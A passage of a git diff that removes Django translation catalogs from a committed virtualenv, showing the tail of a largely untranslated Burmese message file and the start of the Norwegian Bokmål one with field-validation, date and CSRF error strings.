"Polish" -msgstr "" - -msgid "Portuguese" -msgstr "" - -msgid "Brazilian Portuguese" -msgstr "" - -msgid "Romanian" -msgstr "" - -msgid "Russian" -msgstr "" - -msgid "Slovak" -msgstr "" - -msgid "Slovenian" -msgstr "" - -msgid "Albanian" -msgstr "" - -msgid "Serbian" -msgstr "" - -msgid "Serbian Latin" -msgstr "" - -msgid "Swedish" -msgstr "" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "" - -msgid "Telugu" -msgstr "" - -msgid "Thai" -msgstr "" - -msgid "Turkish" -msgstr "" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "" - -msgid "Simplified Chinese" -msgstr "" - -msgid "Traditional Chinese" -msgstr "" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "" - -msgid "Enter a valid URL." -msgstr "" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -msgid "Enter a number." -msgstr "" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "နှင့်" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "" - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "အီးမေးလ်လိပ်စာ" - -msgid "File path" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "ကိန်းပြည့်" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "အိုင်ပီဗီ၄လိပ်စာ" - -msgid "IP address" -msgstr "အိုင်ပီလိပ်စာ" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "စာသား" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "" - -msgid "URL" -msgstr "ယူအာအယ်" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "ဖိုင်" - -msgid "Image" -msgstr "ပံု" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "" - -msgid "Enter a whole number." -msgstr "" - -msgid "Enter a valid date." -msgstr "" - -msgid "Enter a valid time." -msgstr "" - -msgid "Enter a valid date/time." -msgstr "" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -msgid "No file was submitted." -msgstr "" - -msgid "The submitted file is empty." -msgstr "" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "မှာကြား" - -msgid "Delete" -msgstr "ပယ်ဖျက်" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "" - -msgid "Currently" -msgstr "" - -msgid "Change" -msgstr "" - -msgid "Unknown" -msgstr "အမည်မသိ" - -msgid "Yes" -msgstr "ဟုတ်" - -msgid "No" -msgstr "မဟုတ်" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ဘိုက်များ" - -#, python-format -msgid "%s KB" -msgstr "%s ကီလိုဘိုက်" - -#, python-format -msgid "%s MB" -msgstr "%s မက်ဂါဘိုက်" - -#, python-format -msgid "%s GB" -msgstr "%s ဂစ်ဂါဘိုက်" - -#, python-format -msgid "%s TB" -msgstr "%s တီရာဘိုက်" - -#, python-format -msgid "%s PB" -msgstr "%s ပီတာဘိုက်" - -msgid "p.m." -msgstr "ညနေ" - -msgid "a.m." -msgstr "မနက်" - -msgid "PM" -msgstr "ညနေ" - -msgid "AM" -msgstr "မနက်" - -msgid "midnight" -msgstr "သန်းခေါင်" - -msgid "noon" -msgstr "မွန်းတည့်" - -msgid "Monday" -msgstr "တနင်္လာနေ့" - -msgid "Tuesday" -msgstr "" - -msgid "Wednesday" -msgstr "" - -msgid "Thursday" -msgstr "" - -msgid "Friday" -msgstr "" - -msgid "Saturday" -msgstr "" - -msgid "Sunday" -msgstr "" - -msgid "Mon" -msgstr "" - -msgid "Tue" -msgstr "" - -msgid "Wed" -msgstr "" - -msgid "Thu" -msgstr "" - -msgid "Fri" -msgstr "" - -msgid "Sat" -msgstr "" - -msgid "Sun" -msgstr "" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgid "jan" -msgstr "" - -msgid "feb" -msgstr "" - -msgid "mar" -msgstr "" - -msgid "apr" -msgstr "" - -msgid "may" -msgstr "" - -msgid "jun" -msgstr "" - -msgid "jul" -msgstr "" - -msgid "aug" -msgstr "" - -msgid "sep" -msgstr "" - -msgid "oct" -msgstr "" - -msgid "nov" -msgstr "" - -msgid "dec" -msgstr "" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "" - -msgctxt "abbrev. month" -msgid "March" -msgstr "" - -msgctxt "abbrev. month" -msgid "April" -msgstr "" - -msgctxt "abbrev. month" -msgid "May" -msgstr "" - -msgctxt "abbrev. month" -msgid "June" -msgstr "" - -msgctxt "abbrev. month" -msgid "July" -msgstr "" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "" - -msgctxt "alt. month" -msgid "January" -msgstr "" - -msgctxt "alt. month" -msgid "February" -msgstr "" - -msgctxt "alt. month" -msgid "March" -msgstr "" - -msgctxt "alt. month" -msgid "April" -msgstr "" - -msgctxt "alt. month" -msgid "May" -msgstr "" - -msgctxt "alt. month" -msgid "June" -msgstr "" - -msgctxt "alt. month" -msgid "July" -msgstr "" - -msgctxt "alt. month" -msgid "August" -msgstr "" - -msgctxt "alt. month" -msgid "September" -msgstr "" - -msgctxt "alt. month" -msgid "October" -msgstr "" - -msgctxt "alt. month" -msgid "November" -msgstr "" - -msgctxt "alt. month" -msgid "December" -msgstr "" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "" - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.mo deleted file mode 100644 index c4ebbae4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.po deleted file mode 100644 index cb2932b6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nb/LC_MESSAGES/django.po +++ /dev/null @@ -1,1324 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Alexander Hansen , 2014 -# Eirik Krogstad , 2014 -# Jannis Leidel , 2011 -# jensadne , 2014-2015 -# Jon, 2015-2016 -# Jon, 2014 -# Jon, 2017-2022 -# Jon, 2013 -# Jon, 2011 -# Sigurd Gartmann , 2012 -# Tommy Strand , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-01-17 02:13-0600\n" -"PO-Revision-Date: 2023-04-25 06:49+0000\n" -"Last-Translator: Jon, 2017-2022\n" -"Language-Team: Norwegian Bokmål (http://www.transifex.com/django/django/" -"language/nb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabisk" - -msgid "Algerian Arabic" -msgstr "Algerisk arabisk" - -msgid "Asturian" -msgstr "Asturiansk" - -msgid "Azerbaijani" -msgstr "Aserbajdsjansk" - -msgid "Bulgarian" -msgstr "Bulgarsk" - -msgid "Belarusian" -msgstr "Hviterussisk" - -msgid "Bengali" -msgstr "Bengalsk" - -msgid "Breton" -msgstr "Bretonsk" - -msgid "Bosnian" -msgstr "Bosnisk" - -msgid "Catalan" -msgstr "Katalansk" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Tsjekkisk" - -msgid "Welsh" -msgstr "Walisisk" - -msgid "Danish" -msgstr "Dansk" - -msgid "German" -msgstr "Tysk" - -msgid "Lower Sorbian" -msgstr "Lavsorbisk" - -msgid "Greek" -msgstr "Gresk" - -msgid "English" -msgstr "Engelsk" - -msgid "Australian English" -msgstr "Engelsk (australsk)" - -msgid "British English" -msgstr "Engelsk (britisk)" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spansk" - -msgid "Argentinian Spanish" -msgstr "Argentinsk spansk" - -msgid "Colombian Spanish" -msgstr "Colombiansk spansk" - -msgid "Mexican Spanish" -msgstr "Meksikansk spansk" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguansk spansk" - -msgid "Venezuelan Spanish" -msgstr "Venezuelanske spansk" - -msgid "Estonian" -msgstr "Estisk" - -msgid "Basque" -msgstr "Baskisk" - -msgid "Persian" -msgstr "Persisk" - -msgid "Finnish" -msgstr "Finsk" - -msgid "French" -msgstr "Fransk" - -msgid "Frisian" -msgstr "Frisisk" - -msgid "Irish" -msgstr "Irsk" - -msgid "Scottish Gaelic" -msgstr "Skotsk-gælisk" - -msgid "Galician" -msgstr "Galisisk" - -msgid "Hebrew" -msgstr "Hebraisk" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatisk" - -msgid "Upper Sorbian" -msgstr "Høysorbisk" - -msgid "Hungarian" -msgstr "Ungarsk" - -msgid "Armenian" -msgstr "Armensk" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesisk" - -msgid "Igbo" -msgstr "Ibo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandsk" - -msgid "Italian" -msgstr "Italiensk" - -msgid "Japanese" -msgstr "Japansk" - -msgid "Georgian" -msgstr "Georgisk" - -msgid "Kabyle" -msgstr "Kabylsk" - -msgid "Kazakh" -msgstr "Kasakhisk" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreansk" - -msgid "Kyrgyz" -msgstr "Kirgisisk" - -msgid "Luxembourgish" -msgstr "Luxembourgsk" - -msgid "Lithuanian" -msgstr "Litauisk" - -msgid "Latvian" -msgstr "Latvisk" - -msgid "Macedonian" -msgstr "Makedonsk" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolsk" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malayisk" - -msgid "Burmese" -msgstr "Burmesisk" - -msgid "Norwegian Bokmål" -msgstr "Norsk (bokmål)" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Nederlandsk" - -msgid "Norwegian Nynorsk" -msgstr "Norsk (nynorsk)" - -msgid "Ossetic" -msgstr "Ossetisk" - -msgid "Punjabi" -msgstr "Panjabi" - -msgid "Polish" -msgstr "Polsk" - -msgid "Portuguese" -msgstr "Portugisisk" - -msgid "Brazilian Portuguese" -msgstr "Brasiliansk portugisisk" - -msgid "Romanian" -msgstr "Rumensk" - -msgid "Russian" -msgstr "Russisk" - -msgid "Slovak" -msgstr "Slovakisk" - -msgid "Slovenian" -msgstr "Slovensk" - -msgid "Albanian" -msgstr "Albansk" - -msgid "Serbian" -msgstr "Serbisk" - -msgid "Serbian Latin" -msgstr "Serbisk latin" - -msgid "Swedish" -msgstr "Svensk" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tadsjikisk" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Turkmensk" - -msgid "Turkish" -msgstr "Tyrkisk" - -msgid "Tatar" -msgstr "Tatarisk" - -msgid "Udmurt" -msgstr "Udmurtisk" - -msgid "Ukrainian" -msgstr "Ukrainsk" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Usbekisk" - -msgid "Vietnamese" -msgstr "Vietnamesisk" - -msgid "Simplified Chinese" -msgstr "Forenklet kinesisk" - -msgid "Traditional Chinese" -msgstr "Tradisjonell kinesisk" - -msgid "Messages" -msgstr "Meldinger" - -msgid "Site Maps" -msgstr "Sidekart" - -msgid "Static Files" -msgstr "Statiske filer" - -msgid "Syndication" -msgstr "Syndikering" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Sidenummeret er ikke et heltall" - -msgid "That page number is less than 1" -msgstr "Sidenummeret er mindre enn 1" - -msgid "That page contains no results" -msgstr "Siden inneholder ingen resultater" - -msgid "Enter a valid value." -msgstr "Oppgi en gyldig verdi." - -msgid "Enter a valid URL." -msgstr "Oppgi en gyldig nettadresse." - -msgid "Enter a valid integer." -msgstr "Skriv inn et gyldig heltall." - -msgid "Enter a valid email address." -msgstr "Oppgi en gyldig e-postadresse" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Oppgi en gyldig \"slug\" bestående av bokstaver, nummer, understreker eller " -"bindestreker." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Oppgi en gyldig \"slug\" bestående av Unicode-bokstaver, nummer, " -"understreker eller bindestreker." - -msgid "Enter a valid IPv4 address." -msgstr "Oppgi en gyldig IPv4-adresse." - -msgid "Enter a valid IPv6 address." -msgstr "Oppgi en gyldig IPv6-adresse." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Oppgi en gyldig IPv4- eller IPv6-adresse." - -msgid "Enter only digits separated by commas." -msgstr "Oppgi kun tall adskilt med komma." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Verdien må være %(limit_value)s (den er %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Verdien må være mindre enn eller lik %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Verdien må være større enn eller lik %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Verdien må være et multiplum av trinnstørrelse %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sørg for denne verdien har minst %(limit_value)d tegn (den har " -"%(show_value)d)." -msgstr[1] "" -"Sørg for at denne verdien har minst %(limit_value)d tegn (den har " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sørg for denne verdien har %(limit_value)d tegn (den har nå %(show_value)d)." -msgstr[1] "" -"Sørg for at denne verdien har %(limit_value)d eller færre tegn (den har nå " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Oppgi et tall." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Sørg for at det er kun %(max)s tall." -msgstr[1] "Sørg for at det er %(max)s eller færre tall totalt." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Sørg for at det er kun %(max)s desimal." -msgstr[1] "Sørg for at det er %(max)s eller færre desimaler." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Sørg for at det kun %(max)s tall før desimalpunkt." -msgstr[1] "Sørg for at det er %(max)s eller færre tall før desimalpunkt." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Filendelsen \"%(extension)s\" er ikke tillatt. Tillatte filendelser er: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null-tegn er ikke tillatt." - -msgid "and" -msgstr "og" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s med denne %(field_labels)s finnes allerede." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Begrensning \"%(name)s\" er brutt." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Verdien %(value)r er ikke et gyldig valg." - -msgid "This field cannot be null." -msgstr "Feltet kan ikke være tomt." - -msgid "This field cannot be blank." -msgstr "Feltet kan ikke være blankt." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s med %(field_label)s finnes allerede." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s må være unik for %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Felt av typen: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "\"%(value)s\"-verdien må være enten True eller False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\"-verdien må være enten True, False, eller None." - -msgid "Boolean (Either True or False)" -msgstr "Boolsk (True eller False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Tekst (opp til %(max_length)s tegn)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Heltall adskilt med komma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"\"%(value)s\"-verdien har et ugyldig datoformat. Det må være på formen YYYY-" -"MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"\"%(value)s\"-verdien er på den korrekte formen (YYYY-MM-DD), men det er en " -"ugyldig dato." - -msgid "Date (without time)" -msgstr "Dato (uten tid)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"\"%(value)s\"-verdien har et ugyldig datoformat. Det må være på formen YYYY-" -"MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"\"%(value)s\"-verdien er på den korrekte formen (YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]), men er ugyldig dato/tid." - -msgid "Date (with time)" -msgstr "Dato (med tid)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "\"%(value)s\"-verdien må være et desimaltall." - -msgid "Decimal number" -msgstr "Desimaltall" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"\"%(value)s\"-verdien har et ugyldig format. Det må være på formen [DD] [HH:" -"[MM:]]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Varighet" - -msgid "Email address" -msgstr "E-postadresse" - -msgid "File path" -msgstr "Filsti" - -#, python-format -msgid 